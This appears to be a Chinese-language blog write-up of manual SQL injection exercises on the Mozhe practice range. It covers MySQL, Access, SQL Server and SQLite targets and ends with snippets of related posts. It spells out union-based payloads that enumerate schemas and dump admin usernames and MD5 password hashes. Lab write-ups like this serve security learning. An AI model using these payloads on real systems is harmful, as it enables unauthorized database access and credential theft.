資料庫注入漏洞線上靶場練習(mozhe)

2021-10-04 15:12:57 字數 3035 閱讀 7734

今天練習了墨者的線上資料庫漏洞手工注入(別問為什麼,問就是簡單,我可以做)。注:沒有錢所以只做了幾個,有錢的可以全部做完。

在你們去練習的前面我需要普及一些關於資料庫的知識:第一點 資料庫分為關聯式資料庫和非關聯式資料庫,兩者代表(在我的印象裡面的代表)關係型.oracle,mysql,sqlserver,access 非關係.mongodb。兩者的主要區別就是:

練習的型別是關係型,非關係需要幣。關係型的mysql,sqlserver,access,sqlite。

(漏洞在公告鏈結)

mysql是最常見的資料庫,一:通常使用單引號,and 1=1,1=2,來判斷漏洞。(不要用常規的'來隔斷)

二·:接著使用order by 判斷字段長度(4)

三:接著使用聯合查詢 and 1=2 union select 1,2,3,4 來判斷第幾位可以顯示(2,3)

四:接著使用 and 1=2 union select 1,database(),3,4 顯示資料庫名稱(mozhe_discuz_stormgroup)

五:接著使用聯合查詢 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup' 顯示表名(stormgroup_member,notice:應該是第乙個)。

六:接著使用and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='stormgroup_member' 顯示列名(id,name,password,status)顯然用到name,password。

七:接著使用and 1=2 union select 1,group_concat(name),group_concat(password),4 from stormgroup_member(mozhe,密碼有兩個所以要用第二個:356f589a7df439f6f744ff19bb8092c0,b528804bdea16273bb3758cc254bf610。md5加密(因為有32位和常見加密)解密**:

ok最後就是提交flag。

接著就是access資料庫

首先和一,二一樣判斷字段長

三:接著聯合查詢顯示第幾位顯示就不可以了,因為access用聯合語句顯示可顯字段時,必須要「from 表名」,所以需要先猜表名 and exists(select * from admin) 。這個是真np,常用的就是admin,manage。實在不行砸門用sqlmap破一下(使用sqlmap字典中的名稱去試比手工快,名稱更完全)後面工作可以靠sqlmap,對於我們來說還是學習手工比較好。(admin)

四:接著就可以使用聯合查詢語句了and 1=2 union select 1,2,3,4 from admin 顯示(2,3)

五:然後又tm猜欄位名稱一般有猜測欄位有id ,name ,username,user_name,pwd,password,passwd。and exists(select username from admin),頁面返回正常。淦感覺這個需要使用工具。

六:使用聯合查詢語句 and 1=2 union select 1,username,passwd, 4 from admin (moke,7e6ec4fadf84938f) md5  解密

ok提交flag(發現是access建議使用sqlmap)

sqlserver資料庫

首先與一,二一樣

三:使用and 1=2 union select 1,2,3,4 不行。np禁止了,那不行啊又盲猜賣,建議使用sqlmap。但是不符合砸門的想法呀。所以砸門使用 -2 and 1=3 union all select null,null,null,null。發現可以。然後逐漸改位子找到現實位子(2,3,3為字元)

四:使用-2 union all select null,db_name(),null,null 找到資料庫名稱(mozhe_db_v2)

五:使用 -2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null (xtype='u' 查表 manage)查有其他表不  -2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null (announcement)。

六:使用-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null 查列名(id) -2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null (username) 後面還有(password)

七:檢視列中的東西 -2 union all select null,username, null,null from manage(admin_mz) -2 union all select null, password,null ,null from manage(72e1bfc3f01b7583)md5

ok提交flag

sqlite資料庫

首先和一二三一樣。可以看見現實為(2,3)

四:這裡需要看乙個sqlite有乙個隱藏表為sqlite_master 表裡面的列字段為 type,name,tbl_name,rootpage,sql。

五:使用and 1=3 union select 1,tbl_name,sql,4 from sqlite_master 。(wstmart_reg,name,password)

六: and 1=3 union select 1,name,password,4 from wstmart_reg。最後md5解碼。

ok 提交flag

總結sqlmap真好。

SQL手工注入漏洞測試 MySQL資料庫

判斷注入點,id 1 and 1 1正常,id 1 and 1 2報錯,發現存在sql注入 id 1 and 1 2 order by n n 1,2,3,4 發現有4列 判斷回顯id 1 and 1 2 union select 1,2,3,4 id 1 and 1 2 union select ...

SQL手工注入漏洞測試 MySQL資料庫

墨者學院的題 記一下通關經過 本題純屬練習手工,無任何過濾。sql手工注入漏洞測試 mysql資料庫 還有 的一篇iamsoscared大神的sqlmap詳細教程。點選開啟靶場環境,訪問題目 ok一進來就是登入框 試了一下登入框並沒有發現注入,到處點點看 發現登入框下面的公告的鏈結是?id 1,手工...

SQL手工注入漏洞測試 MySQL資料庫 字元型)

第一步 判斷注入點 在瀏覽器的url介面輸入乙個單引號,發現頁面報錯,接著輸入 new list.php?id tingjigonggao 發現頁面正常,由此該url存在字元型注入漏洞 第二步 判斷字段數 利用order by 語句,值為4頁面正常。後面的可以用單引號,也可以用 來表示 new li...